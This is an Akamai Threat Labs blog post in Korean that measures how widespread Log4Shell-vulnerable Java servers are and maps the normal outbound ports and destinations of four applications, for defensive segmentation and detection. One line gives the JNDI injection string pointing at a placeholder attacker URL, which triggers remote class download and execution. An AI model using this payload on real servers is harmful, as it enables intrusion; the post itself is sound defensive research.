Skip to main content
Dark background with blue code overlay
블로그

Log4Shell의 정량화: 대규모의 취약점

Akamai blue wave

Written by

Ori David, Ophir Harpaz, Eliad Kimhy, Liron Schiff

December 21, 2021

기록하는 모든 것은 사용자에게 불리하게 사용될 수 있습니다

Log4Shell의 취약점은 계속 남아 있습니다. 취약점의 범위와 실제 영향에 대한 많은 견해가 있습니다. 많은 사람들이 그것을 "심각"하다고 보았지만, 리스크의 확산에 대한 정보는 제한적입니다. Akamai Threat Labs는 이 문제를 조명하기 위해 전 세계 수많은 데이터 센터에 대한 가시성을 활용하여 Log4Shell이 기업에 미치는 실제 리스크를 평가하고 있습니다.

주요 결과는 다음과 같습니다.

  • 검사된 모든 Java 서버의 3분의 2가 취약한 Log4j를 포함하고 있었습니다

  • 조사 대상 데이터 센터의 91%가 Java 서버 측 애플리케이션을 실행하고 있으며, 그 중 40% 이상은 인터넷 기반 Java 서버를 포함하고 있습니다

  • 아웃바운드 통신 패턴을 살펴보면, 조사한 대부분의 Java 애플리케이션은 몇 개의 포트를 통해 통신합니다

  • 아웃바운드 통신 패턴을 분석하면 조직에서 비정상적인 동작을 감지하고 Log4Shell에 의해 야기되는 일부 위험을 완화하는 데 도움이 됩니다

온라인 활동에 대한 Akamai의 방대한 가시성을 바탕으로 한 Log4Shell 악용 트렌드에 대한 자세한 분석은 Akamai 블로그를 확인하세요.

서론

Akamai Guardicore Segmentation은 전 세계 수백 곳의 데이터 센터에서 사용되어 프로세스 수준의 네트워크 가시성 및 적용을 제공합니다. 간단히 말해, 프로세스 수준의 네트워크 가시성을 통해 네트워크 내에서 이루어진 모든 네트워크 연결을 확인할 수 있으며, 소스 자산에서 연결을 시작한 프로세스와 대상 자산에서 연결을 수신한 프로세스를 알 수 있습니다.

이 독보적인 프로세스 간 정보와 광범위한 구축을 통해 데이터 센터 및 클라우드 네트워크 내부는 물론 경계 전체에 걸쳐 네트워크 통신 패턴을 연구할 수 있습니다. 이 정보를 통해 Log4Shell이 ​우리의 디지털 생활에 부과하는 위험의 전체 규모와 이를 제한하기 위해 네트워크 보안 실무자가 할 수 있는 일에 대한 결론을 도출할 수 있습니다.

이 블로그 게시물은 두 부분으로 나누어져 있습니다. 첫 번째는 조직의 공격면을 다룹니다. 즉, 기업이 Log4Shell에 얼마나 취약한지를 알 수 있습니다. 두 번째 부분은 프로덕션 환경에서 널리 사용되는 일부 취약한 애플리케이션에 주목하고 일반적인 통신 패턴의 개요를 설명합니다. 이를 통해 방어자는 이러한 애플리케이션을 적절히 분할하고 악용을 방지하는 데 도움이 되는 정보를 얻을 수 있습니다.

Log4Shell 리스크의 정량화

Java가 기업 간에 얼마나 널리 퍼져 있는지 이해하기 위해 전 세계 200여 곳의 다양한 데이터 센터, 다양한 분야 및 규모의 데이터를 수집했습니다. 그리고 각 데이터 센터에서 인터넷 기반 서버와 네트워크 연결을 허용하는 Java 실행 서버를 식별했습니다. Java 프로세스(java.exe, Linux용 java, javaw 등)와 Java 가상 시스템을 자체 메모리에 로드하는 프로세스도 모두 고려했습니다.

리스크 평가 - 데이터 센터의 Log4j 유행

취약점의 규모와 범위에 대한 견해가 풍부하긴 하지만, 데이터 센터를 검사하면 데이터를 사용하여 Log4Shell 취약점으로 인한 위험을 정량화할 수 있습니다. 

해당 팀은 조사 대상 환경에서 Log4Shell 공격에 취약한 많은 서버를 발견했습니다. 실제로 이러한 환경에서는 모든 Java 서버의 3분의 2가 취약한 Log4j를 포함한다는 사실을 알게 되었습니다. 일부 환경에서는 모든 Java 시스템의 90% 이상이 취약했습니다. 이것은 저희가 원래 예상했던 것보다 훨씬 높은 수치이며, 취약점이 얼마나 널리 퍼져있는지를 암울하게 보여줍니다. 

또 다른 소규모 테스트에서는, 조사된 환경의 100%가 패치 적용 전에는 최소 하나의 서버가 Log4Shell에 취약한 것으로 나타났습니다. 이는 패치가 릴리스되기 전에 이러한 환경에서 존재했던 리스크의 수준을 보여줍니다. 일단 패치가 시작되면 취약한 환경의 수가 줄어드는 것을 확인할 수 있습니다. 그러나 대규모 환경에 소수의 취약한 서버만 있다 해도 환경에 심각한 공격면이 발생할 수 있다는 점을 이해하는 것이 중요합니다.

위의 숫자는 문제의 핵심에 대해 말하고 있습니다. Log4j가 널리 보급되면서 이 취약점이 좀처럼 보기 힘든 규모로 순식간에 널리 확산하였습니다. 모든 Java 서버의 약 3분의 2가 여전히 취약하다는 사실은 IT 및 보안 팀이 로깅 유틸리티를 사용할 수 있는 위치를 파악하고 방어 계획을 세우기 위해 노력해야 한다는 뜻입니다.

인터넷 기반 Java 서버는 추가적인 위험을 초래합니다.

서버의 취약성은 접근성으로 인해 더욱 심각해집니다. 취약점 자체도 충분히 우려할 만한 이유이지만, 인터넷 기반 서버는 네트워크에 침입하기 위한 공격 경로로 사용될 수 있기 때문에 추가적인 위험을 초래합니다. Log4j 인터넷 트래픽 동향에 대한 Akamai의 연구에서 분석된 바에 따르면, 공격자가 이 취약점을 악용하기 위해 가능한 모든 방식으로, 그리고 놀라운 수치로 질주하고 있음을 알 수 있습니다.

연구 결과, Java 서버 측 애플리케이션을 실행하는 데이터 센터의 91%가 심각한 상태인 것으로 나타났습니다. 이 중 40% 이상은 인터넷 기반 Java 서버를 포함하고 있습니다. 이 때문에 이야기가 더욱 복잡해집니다. 인터넷 기반 서버는 외부 세계에 쉽게 접근할 수 있으므로 훨씬 쉽게 악용될 수 있습니다. 이 블로그의 다음 섹션에서는 Java 애플리케이션의 아웃바운드 통신에 초점을 맞추고, Java 애플리케이션을 실행하는 인터넷 기반 서버를 모니터링하고 보안을 유지하려는 사람들에게 몇 가지 방어 권장 사항을 제시합니다.

그러나 모든 Java 서버가 내부 데이터 센터(즉, 인터넷 기반이 아닌)라고 해서 안전하다고 간주할 수는 없다는 점을 주의하시기 바랍니다. Log4Shell은 주로 네트워크 해킹을 위한 수단으로 인식되었지만, 일부 사례에서는 내부 서버에서 실행되는 Java 애플리케이션이 인터넷 기반 서버에서 로그를 받아 결국 손상되는 방식을 보여 주었습니다. 따라서 Log4Shell은 초기 해킹과 마찬가지로 측면 이동에도 쉽게 사용될 수 있습니다.

데이터 지원 방어

Log4Shell은 공격자가 제어하는 원격 시스템에서 페이로드를 피해자에게 다운로드하고 실행하는 데 사용할 때 특히 강력합니다. 이를 위해 공격자는 ${jndi:ldap:<attacker_URL>} 형식으로 로그 메시지를 주입합니다. 그러면 취약한 애플리케이션 프로세스에서 임베디드된 URL로 연결이 트리거됩니다. 그런 다음 원격 Java 클래스 객체를 다운로드하여 메모리에서 실행합니다.

이를 바탕으로 Akamai Threat Labs는 Java 서버, 특히 Log4Shell에 취약한 여러 애플리케이션의 통신 패턴을 매핑하기 시작했습니다. Java 서버와 프로세스가 정기적으로 통신하는 방법을 이해하면 보안 및 IT 전문가가 환경에서 이상 현상을 감지 및 방어하는 데 필요한 필수 정보를 제공하여 결과적으로 Log4Shell 악용을 중단하고 정상적인 비즈니스 운영을 계속할 수 있습니다. 

발신 통신 매핑: Java 서버는 어떻게 도달할까요?

Java 서버가 인터넷과 통신하는 방법을 이해하기 위해, 저희는 Java 애플리케이션이 인터넷에 연결하는 데 사용하는 대상 TCP 포트 수를 정량화하기 시작했습니다. 분석에 따르면 인터넷을 사용하는 대부분의 서버는 소수의 포트(10개 미만)를 통해 통신합니다.

이는 데이터 센터의 여러 서버 및 프로세스에서 허용되는 발신 통신을 제한하는 것의 중요성과 보안 이점을 강조합니다. 즉, 지금까지 특정 포트 집합을 통해 통신한 프로세스로부터 대상 포트에 대한 통신을 처음으로 식별하는 것이 공격 시도를 탐지하는 데 효과적일 수 있습니다.

여러 가지 일반적인 Java 애플리케이션에 대해 보다 세분화된 방식으로 이 탐색 라인을 계속 진행하겠습니다.

애플리케이션별 통신 패턴

Akamai Guardicore Segmentation의 고유한 프로세스 수준 가시성을 통해 Akamai Threat Labs는 Log4Shell에 취약한 특정 애플리케이션의 행동에 대한 자세한 정보를 수집할 수 있습니다. 이 데이터는 이러한 프로세스의 정상적인 행동을 연구하고 이상 징후를 탐지하며 그에 따라 효과적인 분할 룰을 만드는 데 사용할 수 있습니다.

팀은 널리 사용되는 네 가지 취약한 애플리케이션의 통신 패턴을 조사했습니다(괄호 안은 네트워크 트래픽을 트리거하는 프로세스).

  • 일래스틱서치(Elasticsearch): 다양한 사용 사례(%elasticsearch%/bin/java)가 포함된 매우 인기 있는 전체 텍스트 검색 엔진

  • 로그스태시(Logstash): 데이터 수집 및 변환에 사용되는 서버 측 데이터 처리 파이프라인/usr/share/logstash/jdk/bin/java)

  • VMware vCenter: VMware 가상 시스템 및 ESXi 호스트용 관리 플랫폼(%\VMware\vCenter Server\%\bin\java.exe)

  • Okta RADIUS 에이전트: Okta ID 관리 솔루션(okta-radius.exe)에 RADIUS 인증을 위임하는 데 사용되는 에이전트

저희가 대답하고자 하는 질문은 다음과 같습니다.

  • 이러한 애플리케이션이 일반적으로 연결되는 대상 포트는 무엇일까요?

  • 특히, 대상이 인터넷에 있을 때 이러한 애플리케이션이 연결하는 포트는 무엇일까요?

다양한 프로덕션 환경에서 취합된 데이터를 통해 몇 가지 고유한 인사이트를 얻을 수 있었습니다. 애플리케이션의 인터넷 대상 포트 수는 매우 제한적입니다.

 

로그스태시(Logstash)

일래스틱서치(Elasticsearch)

vCenter 서버

Okta RADIUS 에이전트

발신 포트

443

53

9200

9092

80

9300

443

53

9301

80



포트 수 많음

80

443

발신 인터넷
포트

443

443

80

9080

902

443

80

80

443

그러나 공격자가 페이로드를 다운로드하는 데 사용되는 포트를 위에서 언급한 포트로 변경하여 추적을 쉽게 숨길 수 있기 때문에 포트를 보는 것만으로는 충분하지 않습니다.

이 데이터에서 보다 유용한 결론을 도출하기 위해서는 이러한 포트를 통해 정상적인 활동을 구성하는 것이 무엇인지 이해하기 위한 수단으로 대상 IP 주소를 살펴보아야 했습니다. IP 주소를 사용하면 공격 추적을 숨기기가 훨씬 어려워집니다. 특정 서버가 인터넷에서 하나의 IP 주소로만 통신하는 경우, 공격자는 해당 IP 뒤에 있는 서버를 제어하여 악의적인 페이로드를 제공해야 합니다. 따라서 대상 IP를 연구하면 방어 목적으로 유용하게 사용할 수 있습니다.

이 분석은 각 애플리케이션이 각 포트에 연결하는 고유 IP 주소의 평균을 제공합니다. 적지만 지속적인 주소의 수가 다른 예방 및/또는 탐지 기회를 위한 길을 열어 줄 수 있습니다. 즉, 애플리케이션이 매우 적은 수의 IP 주소와 "대화"하는 경우, 다른 모든 연결은 의심스러운 것으로 간주할 수 있습니다.

포트 443과 80의 고유 대상 IP 주소 수를 살펴보았으며, 대부분의 경우 그 수가 적으며 시간이 지남에 따라 안정적이라는 것이 확인되었습니다.

 

로그스태시(Logstash)

일래스틱서치(Elasticsearch)

vCenter 서버

Okta RADIUS 에이전트

포트당 평균 인터넷 주소

TCP 포트 443

4.0

7.2

7.0

3.75

TCP 포트 80

-

2.0

1.3

-

많은 취약한 애플리케이션이 (대상 포트 및 대상 IP와 관련하여) 상당히 제한된 연결 패턴을 가질 수 있다는 것을 이해하면 공격면 감소와 공격 탐지 모두에 사용할 수 있습니다.

결론

Log4Shell 취약점에 대해 가장 권장되는 방어 방법은 패치된 버전의 라이브러리 자체를 사용하는 것입니다. 그러나 알려진 바와 같이 프로덕션 환경에서 패치를 항상 (또는 빠르게) 실행할 수 있는 것은 아닙니다.

취약한 여러 애플리케이션의 통신 행동에 대한 조사 결과는 공격면을 줄이고 Log4Shell(기타 공격 포함)의 악용을 탐지하기 위한 또 다른 접근 방식을 제시합니다.

네트워크 관리자는 대상 IP 주소 및 대상 포트 모두에 대해 취약한 애플리케이션의 통신 패턴을 연구하고 아웃바운드 연결을 매핑할 것을 권장합니다. 이러한 실제 지식을 바탕으로, 방어자는 알려진 표준 통신 포트에서만 트래픽을 허용함으로써 해당 연결을 최소로 제한할 수 있습니다.

연결 차단을 선택할 수 없는 경우, 인터넷 기반 서버에서 발생하는 연결 이상(새 포트 또는 IP 주소)을 모니터링하는 것이 좋습니다. Akamai Guardicore Segmentation 사용자는 프로세스 수준의 정보를 활용하여 각 서버가 수행하는 다양한 연결에 대한 가시성을 높일 수 있습니다. 이 데이터는 Hunt 고객을 위해 위협 사냥 팀에서 사전에 조사합니다.

Log4Shell 공격 방어에 대한 자세한 내용은 다음의 저희 블로그를 확인하시기 바랍니다. Akamai Guardicore Segmentation을 사용한 Log4j 악용 방어.



Akamai blue wave

Written by

Ori David, Ophir Harpaz, Eliad Kimhy, Liron Schiff

December 21, 2021